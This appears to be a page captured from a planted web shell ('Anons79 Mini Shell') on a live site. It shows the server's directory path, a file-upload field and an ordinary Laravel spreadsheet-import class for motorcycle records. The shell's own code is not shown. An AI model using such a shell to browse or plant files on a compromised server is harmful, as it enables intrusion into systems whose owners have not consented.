Anons79 Mini Shell

Directory : /home/aplikasiposinfo/www/astra.aplikasipos.info/laravel_backend/app/Imports/
Upload File :
Current File : /home/aplikasiposinfo/www/astra.aplikasipos.info/laravel_backend/app/Imports/MotorsImport.php

<?php

namespace App\Imports;

use App\Models\Motor;
use Maatwebsite\Excel\Concerns\ToModel;

class MotorsImport implements ToModel
{
    /**
    * @param array $row
    *
    * @return \Illuminate\Database\Eloquent\Model|null
    */
    public function model(array $row)
    {   
        if(!isset($row[0]) || trim(strtolower($row[0])) == "kode type" || trim(strtolower($row[0])) == "" || trim(strtolower($row[0])) == null){
            return;
        }
        return new Motor([
            'kode_type' => $row[0],
            'kode_mesin'=>$row[1],
            'deskripsi'=>$row[2],
            'nama_motor' => $row[3],
            'series' => $row[4],
            '3_segmen'=>$row[5],
            '9_segmen'=>trim(str_replace($row[5],"",$row[6])),
            'status'=>$row[7],
            'keterangan_motor'=>$row[8],
        ]);
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]